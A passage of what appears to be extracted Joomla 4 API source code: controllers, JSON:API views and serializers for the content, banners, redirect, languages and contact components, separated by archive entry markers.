!isset($data['com_fields']) && $data['com_fields'] = []; $data['com_fields'][$field->name] = $data[$field->name]; unset($data[$field->name]); } } return $data; } } PK!k8components/com_content/src/View/Articles/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Api\View\Articles; use Joomla\CMS\Factory; use Joomla\CMS\Helper\TagsHelper; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Component\Content\Api\Helper\ContentHelper; use Joomla\Component\Content\Api\Serializer\ContentSerializer; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The article view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'typeAlias', 'asset_id', 'title', 'text', 'tags', 'language', 'state', 'category', 'images', 'metakey', 'metadesc', 'metadata', 'access', 'featured', 'alias', 'note', 'publish_up', 'publish_down', 'urls', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'hits', 'version', 'featured_up', 'featured_down', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'typeAlias', 'asset_id', 'title', 'text', 'tags', 'language', 'state', 'category', 'images', 'metakey', 'metadesc', 'metadata', 'access', 'featured', 'alias', 'note', 'publish_up', 'publish_down', 'urls', 'created', 'created_by', 'created_by_alias', 'modified', 'hits', 'version', 'featured_up', 'featured_down', ]; /** * The relationships the item has * * @var array * @since 4.0.0 */ protected $relationship = [ 'category', 'created_by', 'tags', ]; /** * Constructor. * * @param array $config A named configuration array for object construction. * contentType: the name (optional) of the content type to use for the serialization * * @since 4.0.0 */ public function __construct($config = []) { if (\array_key_exists('contentType', $config)) { $this->serializer = new ContentSerializer($config['contentType']); } parent::__construct($config); } /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { foreach (FieldsHelper::getFields('com_content.article') as $field) { $this->fieldsToRenderList[] = $field->name; } return parent::displayList(); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { $this->relationship[] = 'modified_by'; foreach (FieldsHelper::getFields('com_content.article') as $field) { $this->fieldsToRenderItem[] = $field->name; } if (Multilanguage::isEnabled()) { $this->fieldsToRenderItem[] = 'languageAssociations'; $this->relationship[] = 'languageAssociations'; } return parent::displayItem(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { if (!$item) { return $item; } $item->text = $item->introtext . ' ' . $item->fulltext; // Process the content plugins. PluginHelper::importPlugin('content'); Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.article', &$item, &$item->params]); foreach (FieldsHelper::getFields('com_content.article', $item, true) as $field) { $item->{$field->name} = $field->apivalue ?? $field->rawvalue; } if (Multilanguage::isEnabled() && !empty($item->associations)) { $associations = []; foreach ($item->associations as $language => $association) { $itemId = explode(':', $association)[0]; $associations[] = (object) [ 'id' => $itemId, 'language' => $language, ]; } $item->associations = $associations; } if (!empty($item->tags->tags)) { $tagsIds = explode(',', $item->tags->tags); $item->tags = $item->tagsHelper->getTags($tagsIds); } else { $item->tags = []; $tags = new TagsHelper(); $tagsIds = $tags->getTagIds($item->id, 'com_content.article'); if (!empty($tagsIds)) { $tagsIds = explode(',', $tagsIds); $item->tags = $tags->getTags($tagsIds); } } if (isset($item->images)) { $registry = new Registry($item->images); $item->images = $registry->toArray(); if (!empty($item->images['image_intro'])) { $item->images['image_intro'] = ContentHelper::resolve($item->images['image_intro']); } if (!empty($item->images['image_fulltext'])) { $item->images['image_fulltext'] = ContentHelper::resolve($item->images['image_fulltext']); } } return parent::prepareItem($item); } } PK!Õ7[[3components/com_content/src/Helper/ContentHelper.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Api\Helper; use Joomla\CMS\Uri\Uri; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Content api helper. * * @since 4.0.0 */ class ContentHelper { /** * Fully Qualified Domain name for the image url * * @param string $uri The uri to resolve * * @return string */ public static function resolve(string $uri): string { // Check if external URL. if (stripos($uri, 'http') !== 0) { return Uri::root() . $uri; } return $uri; } } PK!2Rv v ;components/com_content/src/Serializer/ContentSerializer.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Api\Serializer; use Joomla\CMS\Router\Route; use Joomla\CMS\Serializer\JoomlaSerializer; use Joomla\CMS\Uri\Uri; use Tobscure\JsonApi\Collection; use Tobscure\JsonApi\Relationship; use Tobscure\JsonApi\Resource; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Temporary serializer * * @since 4.0.0 */ class ContentSerializer extends JoomlaSerializer { /** * Build content relationships by associations * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function languageAssociations($model) { $resources = []; // @todo: This can't be hardcoded in the future? $serializer = new JoomlaSerializer($this->type); foreach ($model->associations as $association) { $resources[] = (new Resource($association, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/articles/' . $association->id)); } $collection = new Collection($resources, $serializer); return new Relationship($collection); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function category($model) { $serializer = new JoomlaSerializer('categories'); $resource = (new Resource($model->catid, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid)); return new Relationship($resource); } /** * Build category relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function createdBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->created_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by)); return new Relationship($resource); } /** * Build editor relationship * * @param \stdClass $model Item model * * @return Relationship * * @since 4.0.0 */ public function modifiedBy($model) { $serializer = new JoomlaSerializer('users'); $resource = (new Resource($model->modified_by, $serializer)) ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by)); return new Relationship($resource); } } PK!(?5CC;components/com_banners/src/Controller/ClientsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Banners\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The clients controller * * @since 4.0.0 */ class ClientsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'clients'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'clients'; } PK!/vxCC;components/com_banners/src/Controller/BannersController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Banners\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The banners controller * * @since 4.0.0 */ class BannersController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'banners'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'banners'; } PK!7components/com_banners/src/View/Banners/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Banners\Api\View\Banners; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The banners view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'typeAlias', 'id', 'cid', 'type', 'name', 'alias', 'imptotal', 'impmade', 'clicks', 'clickurl', 'state', 'catid', 'description', 'custombannercode', 'sticky', 'ordering', 'metakey', 'params', 'own_prefix', 'metakey_prefix', 'purchase_type', 'track_clicks', 'track_impressions', 'checked_out', 'checked_out_time', 'publish_up', 'publish_down', 'reset', 'created', 'language', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'version', 'contenthistoryHelper', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'alias', 'checked_out', 'checked_out_time', 'catid', 'clicks', 'metakey', 'sticky', 'impmade', 'imptotal', 'state', 'ordering', 'purchase_type', 'language', 'publish_up', 'publish_down', 'language_image', 'editor', 'category_title', 'client_name', 'client_purchase_type', ]; } PK!MZN7components/com_banners/src/View/Clients/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Banners\Api\View\Clients; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The clients view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'typeAlias', 'id', 'checked_out_time', 'name', 'contact', 'email', 'checked_out', 'checked_out_time', 'extrainfo', 'state', 'metakey', 'own_prefix', 'metakey_prefix', 'purchase_type', 'track_clicks', 'track_impressions', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'name', 'contact', 'checked_out', 'checked_out_time', 'state', 'metakey', 'purchase_type', 'nbanners', 'editor', 'count_published', 'count_unpublished', 'count_trashed', 'count_archived', ]; } PK!N5FF=components/com_redirect/src/Controller/RedirectController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Redirect\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The redirect controller * * @since 4.0.0 */ class RedirectController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'links'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'redirect'; } PK!xΘ9components/com_redirect/src/View/Redirect/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Redirect\Api\View\Redirect; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The redirect view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'old_url', 'new_url', 'referer', 'comment', 'hits', 'published', 'created_date', 'modified_date', 'header', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'old_url', 'new_url', 'referer', 'comment', 'hits', 'published', 'created_date', 'modified_date', 'header', ]; } PK!0ڵ=components/com_languages/src/Controller/StringsController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Languages\Api\Controller; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The strings controller * * @since 4.0.0 */ class StringsController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'strings'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'strings'; /** * Search by languages constants * * @return static A \JControllerLegacy object to support chaining. * * @throws InvalidParameterException * @since 4.0.0 */ public function search() { $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); if (!isset($data['searchstring']) || !\is_string($data['searchstring'])) { throw new InvalidParameterException("Invalid param 'searchstring'"); } if (!isset($data['searchtype']) || !\in_array($data['searchtype'], ['constant', 'value'])) { throw new InvalidParameterException("Invalid param 'searchtype'"); } $this->input->set('searchstring', $data['searchstring']); $this->input->set('searchtype', $data['searchtype']); $this->input->set('more', 0); $viewType = $this->app->getDocument()->getType(); $viewName = $this->input->get('view', $this->default_view); $viewLayout = $this->input->get('layout', 'default', 'string'); try { /** @var \Joomla\Component\Languages\Api\View\Strings\JsonapiView $view */ $view = $this->getView( $viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType] ); } catch (\Exception $e) { throw new \RuntimeException($e->getMessage()); } /** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */ $model = $this->getModel($this->contentType, '', ['ignore_request' => true]); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } // Push the model into the view (as default) $view->setModel($model, true); $view->document = $this->app->getDocument(); $view->displayList(); return $this; } /** * Refresh cache * * @return static A \JControllerLegacy object to support chaining. * * @throws \Exception * @since 4.0.0 */ public function refresh() { /** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */ $model = $this->getModel($this->contentType, '', ['ignore_request' => true]); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $result = $model->refresh(); if ($result instanceof \Exception) { throw $result; } return $this; } } PK!WOO?components/com_languages/src/Controller/LanguagesController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Languages\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The languages controller * * @since 4.0.0 */ class LanguagesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'languages'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'languages'; } PK!,?components/com_languages/src/Controller/OverridesController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Languages\Api\Controller; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\MVC\Controller\Exception; use Joomla\String\Inflector; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The overrides controller * * @since 4.0.0 */ class OverridesController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'overrides'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'overrides'; /** * Basic display of an item view * * @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayItem($id = null) { $this->modelState->set('filter.language', $this->getLanguageFromInput()); $this->modelState->set('filter.client', $this->getClientFromInput()); return parent::displayItem($id); } /** * Basic display of a list view * * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function displayList() { $this->modelState->set('filter.language', $this->getLanguageFromInput()); $this->modelState->set('filter.client', $this->getClientFromInput()); return parent::displayList(); } /** * Method to save a record. * * @param integer $recordKey The primary key of the item (if exists) * * @return integer The record ID on success, false on failure * * @since 4.0.0 */ protected function save($recordKey = null) { /** @var \Joomla\CMS\MVC\Model\AdminModel $model */ $model = $this->getModel(Inflector::singularize($this->contentType)); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $model->setState('filter.language', $this->input->post->get('lang_code')); $model->setState('filter.client', $this->input->post->get('app')); $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); // @todo: Not the cleanest thing ever but it works... Form::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/forms'); // Validate the posted data. $form = $model->getForm($data, false); if (!$form) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_FORM_CREATE')); } // Test whether the data is valid. $validData = $model->validate($form, $data); // Check for validation errors. if ($validData === false) { $errors = $model->getErrors(); $messages = []; for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof \Exception) { $messages[] = "{$errors[$i]->getMessage()}"; } else { $messages[] = "{$errors[$i]}"; } } throw new InvalidParameterException(implode("\n", $messages)); } if (!isset($validData['tags'])) { $validData['tags'] = []; } if (!$model->save($validData)) { throw new Exception\Save(Text::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError())); } return $validData['key']; } /** * Removes an item. * * @param integer $id The primary key to delete item. * * @return void * * @since 4.0.0 */ public function delete($id = null) { $id = $this->input->get('id', '', 'string'); $this->input->set('model', $this->contentType); $this->modelState->set('filter.language', $this->getLanguageFromInput()); $this->modelState->set('filter.client', $this->getClientFromInput()); parent::delete($id); } /** * Get client code from input * * @return string * * @since 4.0.0 */ private function getClientFromInput() { return $this->input->exists('app') ? $this->input->get('app') : $this->input->post->get('app'); } /** * Get language code from input * * @return string * * @since 4.0.0 */ private function getLanguageFromInput() { return $this->input->exists('lang_code') ? $this->input->get('lang_code') : $this->input->post->get('lang_code'); } } PK!;{;components/com_languages/src/View/Languages/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Languages\Api\View\Languages; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The languages view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'asset_id', 'lang_code', 'title', 'title_native', 'sef', 'image', 'description', 'metakey', 'metadesc', 'sitename', 'published', 'access', 'ordering', 'access_level', 'home', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'asset_id', 'lang_code', 'title', 'title_native', 'sef', 'image', 'description', 'metakey', 'metadesc', 'sitename', 'published', 'access', 'ordering', 'access_level', 'home', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->lang_id; unset($item->lang->id); return parent::prepareItem($item); } } PK!;gZ 9components/com_languages/src/View/Strings/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Languages\Api\View\Strings; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Serializer\JoomlaSerializer; use Tobscure\JsonApi\Collection; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The strings view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'string', 'file', ]; /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { /** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */ $model = $this->getModel(); $result = $model->search(); if ($result instanceof \Exception) { throw $result; } $items = []; foreach ($result['results'] as $item) { $items[] = $this->prepareItem($item); } // Check for errors. if (\count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } if ($this->type === null) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CONTENT_TYPE_MISSING'), 400); } $collection = (new Collection($items, new JoomlaSerializer($this->type))) ->fields([$this->type => $this->fieldsToRenderList]); // Set the data into the document and render it $this->getDocument()->setData($collection); return $this->getDocument()->render(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->constant; unset($item->constant); return parent::prepareItem($item); } } PK!0i ;components/com_languages/src/View/Overrides/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Languages\Api\View\Overrides; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The overrides view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = ['value']; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = ['value']; /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { /** @var \Joomla\Component\Languages\Administrator\Model\OverrideModel $model */ $model = $this->getModel(); $id = $model->getState($model->getName() . '.id'); $item = $this->prepareItem($model->getItem($id)); return parent::displayItem($item); } /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { /** @var \Joomla\Component\Languages\Administrator\Model\OverridesModel $model */ $model = $this->getModel(); $items = []; foreach ($model->getOverrides() as $key => $override) { $item = (object) [ 'key' => $key, 'override' => $override, ]; $items[] = $this->prepareItem($item); } return parent::displayList($items); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { $item->id = $item->key; $item->value = $item->override; unset($item->key); unset($item->override); return parent::prepareItem($item); } } PK!Ye ;components/com_contact/src/Controller/ContactController.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contact\Api\Controller; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\Exception\MailDisabledException; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\CMS\MVC\Controller\Exception\SendEmail; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Exception\RouteNotFoundException; use Joomla\CMS\String\PunycodeHelper; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\User; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; use Joomla\Registry\Registry; use Joomla\String\Inflector; use PHPMailer\PHPMailer\Exception as phpMailerException; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The contact controller * * @since 4.0.0 */ class ContactController extends ApiController { /** * The content type of the item. * * @var string * @since 4.0.0 */ protected $contentType = 'contacts'; /** * The default view for the display method. * * @var string * @since 3.0 */ protected $default_view = 'contacts'; /** * Method to allow extended classes to manipulate the data to be saved for an extension. * * @param array $data An array of input data. * * @return array * * @since 4.0.0 */ protected function preprocessSaveData(array $data): array { foreach (FieldsHelper::getFields('com_contact.contact') as $field) { if (isset($data[$field->name])) { !isset($data['com_fields']) && $data['com_fields'] = []; $data['com_fields'][$field->name] = $data[$field->name]; unset($data[$field->name]); } } return $data; } /** * Submit contact form * * @param integer $id Leave empty if you want to retrieve data from the request * @return static A \JControllerLegacy object to support chaining. * * @since 4.0.0 */ public function submitForm($id = null) { if ($id === null) { $id = $this->input->post->get('id', 0, 'int'); } $modelName = Inflector::singularize($this->contentType); /** @var \Joomla\Component\Contact\Site\Model\ContactModel $model */ $model = $this->getModel($modelName, 'Site'); if (!$model) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE')); } $model->setState('filter.published', 1); $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array'); $contact = $model->getItem($id); if ($contact->id === null) { throw new RouteNotFoundException('Item does not exist'); } $contactParams = new Registry($contact->params); if (!$contactParams->get('show_email_form')) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_DISPLAY_EMAIL_FORM')); } // Contact plugins PluginHelper::importPlugin('contact'); Form::addFormPath(JPATH_COMPONENT_SITE . '/forms'); // Validate the posted data. $form = $model->getForm(); if (!$form) { throw new \RuntimeException($model->getError(), 500); } if (!$model->validate($form, $data)) { $errors = $model->getErrors(); $messages = []; for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof \Exception) { $messages[] = "{$errors[$i]->getMessage()}"; } else { $messages[] = "{$errors[$i]}"; } } throw new InvalidParameterException(implode("\n", $messages)); } // Validation succeeded, continue with custom handlers $results = $this->app->triggerEvent('onValidateContact', [&$contact, &$data]); foreach ($results as $result) { if ($result instanceof \Exception) { throw new InvalidParameterException($result->getMessage()); } } // Passed Validation: Process the contact plugins to integrate with other applications $this->app->triggerEvent('onSubmitContact', [&$contact, &$data]); // Send the email $sent = false; $params = ComponentHelper::getParams('com_contact'); if (!$params->get('custom_reply')) { $sent = $this->_sendEmail($data, $contact, $params->get('show_email_copy', 0)); } if (!$sent) { throw new SendEmail('Error sending message'); } return $this; } /** * Method to get a model object, loading it if required. * * @param array $data The data to send in the email. * @param \stdClass $contact The user information to send the email to * @param boolean $emailCopyToSender True to send a copy of the email to the user. * * @return boolean True on success sending the email, false on failure. * * @since 1.6.4 */ private function _sendEmail($data, $contact, $emailCopyToSender) { $app = $this->app; $app->getLanguage()->load('com_contact', JPATH_SITE, $app->getLanguage()->getTag(), true); if ($contact->email_to == '' && $contact->user_id != 0) { $contact_user = User::getInstance($contact->user_id); $contact->email_to = $contact_user->get('email'); } $templateData = [ 'sitename' => $app->get('sitename'), 'name' => $data['contact_name'], 'contactname' => $contact->name, 'email' => PunycodeHelper::emailToPunycode($data['contact_email']), 'subject' => $data['contact_subject'], 'body' => stripslashes($data['contact_message']), 'url' => Uri::base(), 'customfields' => '', ]; // Load the custom fields if (!empty($data['com_fields']) && $fields = FieldsHelper::getFields('com_contact.mail', $contact, true, $data['com_fields'])) { $output = FieldsHelper::render( 'com_contact.mail', 'fields.render', [ 'context' => 'com_contact.mail', 'item' => $contact, 'fields' => $fields, ] ); if ($output) { $templateData['customfields'] = $output; } } try { $mailer = new MailTemplate('com_contact.mail', $app->getLanguage()->getTag()); $mailer->addRecipient($contact->email_to); $mailer->setReplyTo($templateData['email'], $templateData['name']); $mailer->addTemplateData($templateData); $sent = $mailer->send(); // If we are supposed to copy the sender, do so. if ($emailCopyToSender == true && !empty($data['contact_email_copy'])) { $mailer = new MailTemplate('com_contact.mail.copy', $app->getLanguage()->getTag()); $mailer->addRecipient($templateData['email']); $mailer->setReplyTo($templateData['email'], $templateData['name']); $mailer->addTemplateData($templateData); $sent = $mailer->send(); } } catch (MailDisabledException | phpMailerException $exception) { try { Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror'); $sent = false; } catch (\RuntimeException $exception) { Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning'); $sent = false; } } return $sent; } } PK!8components/com_contact/src/View/Contacts/JsonapiView.phpnu[ * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Contact\Api\View\Contacts; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Contact\Api\Serializer\ContactSerializer; use Joomla\Component\Content\Api\Helper\ContentHelper; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The contacts view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'alias', 'name', 'category', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'image', 'tags', 'featured', 'publish_up', 'publish_down', 'version', 'hits', 'metakey', 'metadesc', 'metadata', 'con_position', 'address', 'suburb', 'state', 'country', 'postcode', 'telephone', 'fax', 'misc', 'email_to', 'default_con', 'user_id', 'access', 'mobile', 'webpage', 'sortname1', 'sortname2', 'sortname3', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'alias', 'name', 'category', 'created', 'created_by', 'created_by_alias', 'modified', 'modified_by', 'image', 'tags', 'user_id', ]; /** * The relationships the item has * * @var array * @since 4.0.0 */ protected $relationship = [ 'category', 'created_by', 'modified_by', 'user_id', 'tags', ]; /** * Constructor. * * @param array $config A named configuration array for object construction. * contentType: the name (optional) of the content type to use for the serialization * * @since 4.0.0 */ public function __construct($config = []) { if (\array_key_exists('contentType', $config)) { $this->serializer = new ContactSerializer($config['contentType']); } parent::__construct($config); } /** * Execute and display a template script. * * @param array|null $items Array of items * * @return string * * @since 4.0.0 */ public function displayList(array $items = null) { foreach (FieldsHelper::getFields('com_contact.contact') as $field) { $this->fieldsToRenderList[] = $field->name; } return parent::displayList(); } /** * Execute and display a template script. * * @param object $item Item * * @return string * * @since 4.0.0 */ public function displayItem($item = null) { foreach (FieldsHelper::getFields('com_contact.contact') as $field) { $this->fieldsToRenderItem[] = $field->name; } if (Multilanguage::isEnabled()) { $this->fieldsToRenderItem[] = 'languageAssociations'; $this->relationship[] = 'languageAssociations'; } return parent::displayItem(); } /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.0.0 */ protected function prepareItem($item) { foreach (FieldsHelper::getFields('com_contact.contact', $item, true) as $field) { $item->{$field->name} = $field->apivalue ?? $field->rawvalue; } if (Multilanguage::isEnabled() && !empty($item->associations)) { $associations = []; foreach ($item->associations as $language => $association) { $itemId = explode(':', $association)[0]; $associations[] = (object) [ 'id' => $itemId, 'language' => $language, ]; } 